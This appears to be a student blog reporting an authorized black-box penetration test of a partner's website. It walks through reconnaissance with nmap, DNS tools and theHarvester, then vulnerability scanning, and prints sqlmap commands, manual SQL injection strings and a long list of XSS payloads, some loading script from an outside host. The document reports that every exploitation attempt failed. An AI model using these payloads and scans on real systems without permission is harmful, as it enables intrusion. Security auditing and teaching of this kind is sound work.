menu

Tuesday, February 26, 2013

About us




     We are 2 young students at the University of Limoges - M2 CRYPTIS. 
     This blog is the recipe for our advanced project work entitled "Technical audit of a partner’s network security" that took over 3 months and is part of the implementation of the knowledge gained from our courses in security and network administration and systems.

     This project is a real need to strengthen the security of the infrastructure of our partner. And due to the nature of highly secure and confidential work in our target, we conducted to sign an administrative agreement with the responsible, which required us to put in place a real pirate work without disclosure or exploitation of the detected vulnerabilities, or running intensive scans without notice and approval of the network administrator.

     Having any information on the network and service infrastructure of the laboratory except the name of public domain "traget.fr" and the legal obligations mentioned above, we are faced with a technical audit and penetration test-called "Black Box "on the public portion of our partner.

   
Initially this blog presents the work we have done in this project. In the first part we will collect the maximum information related to our target. Then, we will try all possible vulnerabilities. Then, we continue by exploiting a few minor vulnerabilities (While respecting the signed agreement).

For more information, please contact :  Firas / Fadi 

4 - Vulnerabilities exploitation


In this section, we will try to exploit a few of the vulnerabilities found in the previous chapter.


1  DDOS
           1.1  TCP
     During the performed scans, we found, using UNIscan which does a small "stress" on the website that it couldn’t bring the site down.

Note 1 : A higher stress is possible, but we had no right to try it (partners demand). 

           1.2  HTTP
     During our test drive, especially the "sqlmap", which had been tried without specifying the cookies, we discovered that the site falls easily and that due to the limited number of allowed connections to the database.
     We also found that this number is very small (and the partners told us the same thing), the number of simultaneous connections allowed was exactly 50 because the number of allowed sessions (JSESSIONID) -active at the same time- is 50.

Note 2 : If you want to know this number, a small python code sending GET requests can do the job.. 

2  Blind SQL injection

     Several applications were tested automatically (sqlmap) and manually (direct injection queries).
     These attacks are only concerned in the following link :

  http://www.target.fr/xxxx/actu?num=1133+AND+1=1    

Note 3 : sql injections can retrieve confidential data from the database, or change sensitive data in the same database.
Because of the limitations of our project rights which don’t allow us to modify the site's data, then we tried the data recovery part of the attacks.

           2.1  Automatic
     sqlmap is a tool to make a sql injection by several tests.

If the command is not controlled, at each request / test a cookie will be reserved which causes a problem since the limited number of connections to the database is 50.
That's why we were forced to announce a session to the sqlmap command.
The procedure is as follows:

      telnet www.target.fr 80  
         GET http://www.target.fr/HTTP/1.1  


     This command allows us to connect directly to port 80, and after recovering GET header http where there is the JSESSIONID cookie which will be used in the sqlmap command.
     python sqlmap.py -u http://www.target.fr/xxxx/actu?num=1133  
     --dbs --random-agent --cookie=JSESSIONID=XXXXXXXXXXXXXXXX  
     --level 5 --risk 3  

We will explain the different options used in this command :
  •  -u <url> : Targeted URL. 
  • --dbs :  Allows the use of the different types of databases available.
  • --random-agent : Uses a random agent to get the HTTP header (Mozilla, ...).
  • --cookie=JSESSIONID=XXXXXXXXXXXXXXXX : to specify the used cookie (The JSESSIONID retrieved using the GET command). 
  • --level 5 : The level of testing to do. 
  • --risk 3 : The level of risk to take.
     This command has been used several times, changing settings (example: actu?num=1133, actu?num=1133+AND+1=1, actu?num=1133+\&+1=1,...).

    We had different results, sometimes "The parameter is not dynamic," other times "The parameter is dynamic, but it is not injectable." And the best result was that "The parameter is dynamic and injectable but not exploitable."

Note 4 : It failed to exploit this vulnerability, but it's still a flaw to be corrected because it can cause a problem.

           2.2  Manual

     Manual tests were carried out (unsuccessfully) on the same link, varying the latter part of the requested link (after ‘num = 1133’). Examples:

  • ' or 1=1 or ''=' 
  • ' or ''=' 
  • x' or 1=1 or 'x'='y
  • ...

3  Cross-site scripting

     The XSS found at Tomcat was not exploitable.
     We tried the following link :

 http://target.fr/tomcat-docs/appdev/sample/web/hello.jsp?test=<script>alert(hacker)</script>  

But also using other scripts (on the same link) :

 alert<  
 alert'';!--"<XSS>=&{()}  
 "><SCRIPT>alert(1)</SCRIPT>  
 ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode<script>alert('xss')</script>  
 //--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>  
 <SCRIPT SRC=http://ha.ckers.org/alert.js></SCRIPT>  
 <IMG SRC="javascript:alert('XSS');">  
 <IMG SRC=javascript:alert('XSS')>  
 <IMG SRC=javascrscriptipt:alert('XSS')>  
 <IMG SRC=JaVaScRiPt:alert('XSS')>  
 <IMG """><SCRIPT>alert("XSS")</SCRIPT>">  
 <IMG SRC=" &#14; javascript:alert('XSS');">  
 <SCRIPT/XSS SRC="http://ha.ckers.org/alert.js"></SCRIPT>  
 <SCRIPT/SRC="http://ha.ckers.org/alert.js"></SCRIPT>  
 <<SCRIPT>alert("XSS");//<</SCRIPT>  
 <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>  
 \";alert('XSS');//  
 </TITLE><SCRIPT>alert("XSS");</SCRIPT>  
 <TABLE><TD BACKGROUND="javascript:alert('XSS')">  
 <DIV STYLE="background-image: url(javascript:alert('XSS'))">  
 <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">  
 <DIV STYLE="width: expression(alert('XSS'));">  



     We were able to understand the technical audit methodology and safely practice all the skills learned in our information security courses.

     This is an excellent experience, rewarding and above all, real. Auditing in a rigorous way the security of a network infrastructure.
Technically, it was found that the target we audited has a special security, given the unusable vulnerabilities.

     For further explanation, the vulnerabilities found, are generally coming from the machines, services and applications used (for example, the version of Tomcat). This means that the code is well written and secure. Otherwise, the exploitation of these flaws would be obvious...

3 - Vulnerabilities search


     The information gathered in the previous sections is not lost. We will now go through the detection of any flaw that could be exploited in the future.
      For this, we use a few utilities that enable automated vulnerability scans as uniscan, skipfish, nessus...
     The different found vulnerabilities will be explained in this section.

1  Used scans
           1.1  Uniscan
     It is a web vulnerability scanner, implemented in perl, which is used to find vulnerabilities in Web systems. It’s area of search focuses specifically on the following vulnerabilities: Flaws type RFI (Remote File Include) and LFI (Local File Include), RCE (Remote Code Execution), Blind SQL-i and SQL-i and XSS.

     To do this, UNIscan is indexing (Crawling / Collecting) by collecting resources such as web pages, images, videos ...

     We used the following command (More options can be added) :

   perl ./uniscan.pl -u http://www.target.fr/ -qweds  

     We will explain the different options used in this command :
  • -u <url> : URL target.
  • -q : Enables folders search.
  • -w : Enables files search.
  • -e : Enables Robots.txt check.
  • -d : Enables dynamic search.
  • -s : Enables static search.
The only flaw found with this scanner was a SQL-i flaw and it was found in the following url :

 http://www.target.fr/xxxx/actu?num=1133+AND+1=1   

     The number 1133 was the number of the last news on the website (when the uniscan was committed). Since "news? Num" is dynamic then the fault is found on any event’s number. But UNIscan mentions only the last one since they are all the same for it.


           1.2  Skipfish
     Skipfish is also a web vulnerability scanner. It offers various interesting features :
  • Quick scan : It is capable of 2000 requests per second in a local environment and 500 requests per second on the internet.
  • Heuristic approach.
  • Generates a detailed report in html even if the scan was stopped.
     This scanner works on many types of vulnerabilities, we mention a few of them: SQL / PHP injection, XML injection, overflow, XSS,...

     We used the following command : 

 ./skipfish -o /home/results/skipfish http://target.fr/  

     Several vulnerabilities were found, we mention the most important ones with high risks :

  • Query injection vector : The possibility of an attack by the injection of a SQL query.
  • Shell injection vector :  An attack by the injection of a command. 
  • Server-side XML injection vector : An XML injection can change the functionality of the site and even handle highly sensitive data.
  • Incorrect caching directives : The way to use caching directives is incorrect. In the case of our target, it is the caching of cookies.
  • XSS vector in document body: XSS script Injection to manipulate the normal response of the link in the web browser. 
     The figure below shows the different vulnerabilities found organized by order of the level of the flaw type and its recurrence :

skipfish result


           1.3  Nessus
     Nessus is a security tool. It notes the weaknesses of potential or actual machines tested. It detects living machines on a network, scans for open ports, identify active services, their version and try various attacks.
     An approach is required for the installation and activation of this tool.
     Since Nessus is not open source software, so we used a limited version. Consequently, the result found was very limited and revealed only one XSS vulnerability on the version of Tomcat.

We tried to find the version of Tomcat used by the site :

 http://target.fr/tomcat-docs/appdev/sample/web/hello  

Tomcat version : 5.5.20



2  Other ways to search

     As already found, the version of Tomcat used is: 5.5.20.
     A simple search on the internet gave us three vulnerabilities announced about this version, and they are the following :

           2.1  Cross-site scripting CVE-2007-1358
Level : low
Fixed : Apache Tomcat 5.5.21, 5.0.SVN

    This vulnerability allows an attacker to inject arbitrary script or HTML by using designed software to automatically accept headers containers language user that does not follow the RFC 2616.

           2.2  Session hi-jacking CVE-2008-0128
Level : Medium
Fixed : Apache Tomcat 5.5.21

     Insecurity in the flag of the cookie JSESSIONIDSSO in HTTPS sessions causes the possibility that an attacker can capture these cookies.

           2.3  Information disclosure CVE-2008-4308
Level : low
Fixed : Apache Tomcat 5.5.21
 
This flaw affects responses to Tomcat queries that contain errors.

2 - Global environment discovery


1 Detection of the active machines on the network
     We want to identify all the machines on the network. There are several tools that allow you to do so such as "nmap" and "traceroute", but we chose to use "nmap" because it’s more efficient and can simply scan, ping the range of addresses and tells us which hosts are up in the subnet.

  $ nmap -sP xxx.xx.30.2   

     This command lets us know if the machine is active or not:
  Nmap scan report for xxxxx-xxx.xxxxxx.fr (xxx.xx.30.2).    
 Host is up (0.044s latency).   

     We repeat this command for all sub-domains found earlier.


2 OS and services identification
     For this step, we used two tools : nmap et metasploit.

           2.1  nmap
     The first thing to do during a penetration test is to scan the ports to determine if one or more ports are open. Since these ports are services installed on the server, they can cause vulnerabilities.
   
Note 1 : The use of "nmap" can wake up a firewall, and notify the administrator that the server is being the victim of a port scan.

Note 2 : Target file / IPs used for the command below include the following IP addresses : 

xxx.xx.30.2xxx.xx.30.3xxx.xx.30.5xxx.xx.30.8xxx.xx.30.11
xxx.xx.30.17xxx.xx.30.41xxx.xx.30.42xxx.xx.31.3xxx.xx.31.6

The command is done as follows, the used options are explained below :

  nmap -iL Cible/IPs -p1-65535 -sV -A -R --traceroute   
    -sV --version-all --version-trace -O --osscan-limit   
    --osscan-guess --reason --scan-delay 3 -oN Cible/scanresult    


* Targets specification :
  • -iL <inputfilename> : Reads the list of hosts / networks from the target file.
* Hosts discovery :
  • -R : Always resolve DNS names [solved targets enabled by default].
* Scan techniques :
  • --traceroute : Sets a route to each host.
  • --reason : Gives the reason why a port is in such state.
* Ports specifications and scan order :
  • -p <plage de ports> : Scan only the specified ports.
* Service/version detection :
  • -sV : Tests open ports to determine the listening service and the version.
  • -A : Enables OS detection and version.
  • --version-all : Try one by one all the possible tests of version detection.
  • --version-trace : Show detailed information about the scan versions.
* Detect operating system :
  • -O : Enables OS detection.
  • --osscan-limit : Limit targets detection to promising targets only.
  • --osscan-guess : Guess OS more aggressively.
* Queries delay : 
  • --scan-delay : Adjusts the delay between testing packages.
* Output :
  • -oN : The output file of the scan.

           2.2 Metasploit
     Metasploit is a vulnerability scanner, we use it to collect information on the site: The IP hostnames, OS and hosted services on each host.

To connect to metasploit:

 127.0.0.1:10000   


1 - The information collection


     This first step is essential for the future. Without the collected information, we will be unable to exploit the vulnerabilities of a network or system.
     We will first see the methods used to collect the information and then techniques to protect against these methods.

1  Google Hacking
        The features offered by the Google engine go beyond the simple word search.
    This is a technique to divert the power of information retrieval by Google to find sensitive data and look for vulnerabilities.


    Filter syntaxDescription
    inurlReturns inurl pages containing a link to a file of the type mentioned in argument.
    Exemple : inurl :admin
    intextSearches a pattern in the content.
    Exemple: intext:mysql_connect
    site
    Allows you to filter the search on a site as argument.
    link
    Returns all link pages containing a link to the past pattern argument.
    info
    Retrieves information about the site passed as parameters. The type is mentioned as an argument.
    Exemple: info:www.kernel.org




    2  Public and private DNS Analysis

         Each machine on an IP network is identified by an address, which is a 32-bit number for IPv4 and 128 bits for IPv6. The DNS is a way to assign a name to each IP address and vice versa. DNS analysis is to detect the correspondence between the domain name and IP address by querying name servers for that there are tools that automate the task.


               2.1  nslookup
    $ nslookup target.fr
    

         The result of this query is as follows:

    Server : 127.0.0.1DNS server used for the workstation
    Address : 127.0.0.1#53
    The DNS servers’ IP
    Non-authoritative answer :The DNS server does not support target.fr.
    Name : cible.frSought Domain name.
    Address : xxx.xx.30.5The IP of target.fr.
           
       
         The default of the command "nslookup" queries the DNS server on the records of type A that are the mappings between a host name and an IPv4 address (32 bits).

       
         To identify the authoritative name servers for our domain, we will use "NS" as record type.

    nslookup result
               2.2  host
         The command "host" asks the nameservers. For example, it can be used to detect faults on a network (servers outside services).

    host result
               2.3  dig
         "Dig" is a tool for testing and querying a DNS server. Other commands such as "host" and "nslookup" can provide the same kind of information but "dig" has the advantage of presenting the information in a directly usable form in a configuration file DNS Zone.

    dig result
               2.4  whois
         The command "whois" lets us know who is the owner of this domain, who are the administrators of the domain name, when was the contract renewed, etc.


               2.5  Theharvester & ReverseRaider
         "The harvester" is a very powerful utility for gathering information, it is implemented in Python, which allows you to retrieve email accounts - \ ref {B} - user names, domain names, virtual domains and sub-domains from different public sources such as search engines (Google, Bing, ...) and mail servers (pgp server, ...), and it gives each of the names associated with the IP addresses.


         "ReverseRaider" which is a domain scanner that uses brute force. It is used to enumerate the sub-domains of a given domain using word lists.

         The commands used for this part are :

     $ ./reverseraider -d cible.fr -w wordlists/fast.list   
     $ ./reverseraider -d cible.fr -w wordlists/services.list  
     $ ./reverseraider -d cible.fr -w wordlists/word.list  
     $ ./theHarvester.py -d cible.fr -l 500 -b google  
     $ ./theHarvester.py -d cible.fr -l 500 -b bing  
    
      We will explain the different options used in these commands:
    • -d : domain search.
    • -w : a file containing a list of words.
    • -l : limit the number of results. 
    • -b : search engine.
     
         The result is as follows:

    xxx.xx.30.2
    result removed for privacy
    xxx.xx.30.3
    result removed for privacy
    xxx.xx.30.5
    result removed for privacy
    xxx.xx.31.6
    result removed for privacy
    xxx.xx.30.8
    result removed for privacy
    xxx.xx.30.11
    result removed for privacy
    xxx.xx.30.17
    result removed for privacy
    xxx.xx.30.41
    result removed for privacy
    xxx.xx.30.42
    result removed for privacy
    xxx.xx.31.3
    result removed for privacy


               2.6  DNS lookup
         This tool allows us to study the target domain name, IP address associated with the mail server associated.

     http://www.magic-net.info/dns-lookup.dnslookup?fname=cible.fr  
    

         The result is as follows :
    DNS lookup result